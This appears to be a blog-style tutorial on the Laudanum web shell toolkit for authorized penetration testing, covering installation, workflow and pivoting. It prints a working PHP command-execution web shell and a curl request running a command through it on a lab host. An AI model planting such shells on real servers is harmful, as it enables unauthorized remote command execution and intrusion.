Laudanum is a collection I keep bookmarked for a very specific stage of an authorized web application penetration test: once I’ve confirmed a file upload or arbitrary file write vulnerability on a target web server, Laudanum provides ready-made, platform-specific “injectable” files — shells and tunneling scripts written for ASP, ASPX, JSP, PHP, and ColdFusion — that let me quickly demonstrate real-world impact without hand-writing a payload from scratch for every engagement.
What Laudanum Is and How It Works
Laudanum is essentially a curated toolkit of small scripts, each purpose-built for a specific server-side language and a specific post-exploitation goal:
- Shells — simple command-execution web shells for PHP, ASP/ASPX, JSP, and ColdFusion, used to confirm code execution after an authorized file upload
- Tunneling/proxy scripts — server-side scripts that relay TCP traffic through the compromised web application, letting an authorized tester pivot further into an internal network that’s otherwise unreachable from outside
- Utility scripts — small helpers for tasks like file management or reading specific server configuration details relevant to a penetration test report
Each file is intentionally minimal and language-specific, since the whole point of the toolkit is being able to grab the correct file for whatever server-side technology stack a target application happens to use, rather than needing bespoke tooling for every different platform encountered during an engagement.
Installing Laudanum
On Kali Linux, it’s typically preinstalled under /usr/share/laudanum/:
ls /usr/share/laudanum/
If it’s not present, install it or clone the project:
sudo apt update
sudo apt install -y laudanum
Or from source:
git clone https://github.com/jbarcia/Web-Shells.git laudanum
cd laudanum
ls
Basic Usage
Laudanum isn’t a single executable — it’s a directory of ready-to-deploy files organized by platform:
$ ls /usr/share/laudanum/
aspx asp jsp php cfm
$ ls /usr/share/laudanum/php/
shell.php proxy.php tunnel.php
The typical workflow in an authorized engagement:
- Identify the target’s server-side technology (PHP, ASP.NET, JSP, ColdFusion) during recon
- Confirm an authorized file upload or file write vulnerability exists
- Copy the matching Laudanum file for that platform, customize any required configuration values (like an allowed source IP or a shared secret, depending on the specific script) at the top of the file
- Upload the file through the confirmed vulnerability
- Interact with the deployed script directly via HTTP requests or a browser to confirm and document impact
Real Example (Authorized Lab Environment)
$ cat /usr/share/laudanum/php/shell.php | head -20
<?php
// Laudanum PHP command shell - for authorized security testing only
$cmd = $_REQUEST['cmd'];
if (isset($cmd)) {
echo "<pre>";
system($cmd);
echo "</pre>";
}
?>
After uploading this file to a lab target through a confirmed vulnerable upload endpoint:
$ curl "http://labtarget.local/uploads/shell.php?cmd=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
That single curl request is exactly the kind of concrete, reproducible proof-of-concept I include in a penetration test report to demonstrate real code execution impact resulting from the file upload finding.
Real-World Use Cases
Multi-platform web application assessments — having ready-made shells for ASP, ASPX, JSP, and PHP means I don’t need to write a new payload from scratch every time I encounter a different server-side stack during an authorized test.
Network pivoting demonstration — using the tunneling scripts to show a client how a compromised internet-facing web server could be used to pivot toward internal-only systems, illustrating the real business risk of a “just a file upload bug” finding.
Report evidence and reproducibility — including the exact injected file and resulting HTTP request/response in the final report gives the client’s remediation team a precise, reproducible artifact to validate their fix against.
Integration with Other Tools
- Burp Suite/OWASP ZAP — used earlier in the assessment to discover and confirm the underlying file upload or file write vulnerability that makes deploying a Laudanum shell possible.
- Weevely — for PHP targets specifically, I sometimes prefer Weevely’s more feature-rich, obfuscated shell over Laudanum’s simpler one once initial impact has already been proven with Laudanum.
- Metasploit — Laudanum’s tunneling scripts are occasionally used to establish a pivot path that a Metasploit session then routes through for deeper internal network testing.
Performance and Troubleshooting
- Many modern PHP configurations disable
system()/exec()viadisable_functions; if the shell returns no command output, check whether the hosting environment restricts these functions and adjust the demonstrated impact accordingly (e.g., file read/write only, rather than full command execution). - Web application firewalls frequently flag the simple, unobfuscated nature of Laudanum’s default scripts — this is actually useful information for a client’s detection capability, so document whether the upload and subsequent requests were logged/blocked.
- A mistake to avoid: forgetting to remove deployed files from the target at the end of testing — always clean up uploaded shells and tunneling scripts before closing out an engagement.
Best Practices
- Only deploy Laudanum files to systems you have explicit written authorization to test, through a vulnerability you’ve already legitimately confirmed.
- Restrict access to your deployed shell where the script supports it (e.g., IP allowlisting variables at the top of the file) so other parties on a shared network can’t stumble onto it during your testing window.
- Always remove deployed files and document their exact location and deployment time for the client’s remediation and detection review.
FAQ
Is Laudanum still actively maintained? It’s a long-standing, stable toolkit; more actively developed alternatives exist for some individual use cases, but its simplicity and multi-platform coverage keep it useful for quick engagement work.
Does Laudanum exploit vulnerabilities itself? No — it provides the payload files used after a file upload/write vulnerability has already been found and confirmed through other means.
Is it legal to use these files against a website? Only with explicit, documented authorization to test that system — unauthorized use is illegal in most jurisdictions.
Summary
Laudanum saves me time during authorized web application assessments by providing ready-made, per-platform shell and tunneling scripts, letting me focus my energy on finding the vulnerability rather than writing yet another custom payload for every different server-side technology I encounter.
References
- GitHub repository: https://github.com/jbarcia/Web-Shells
- Related documentation via Kali tool listings: https://www.kali.org/tools/laudanum/
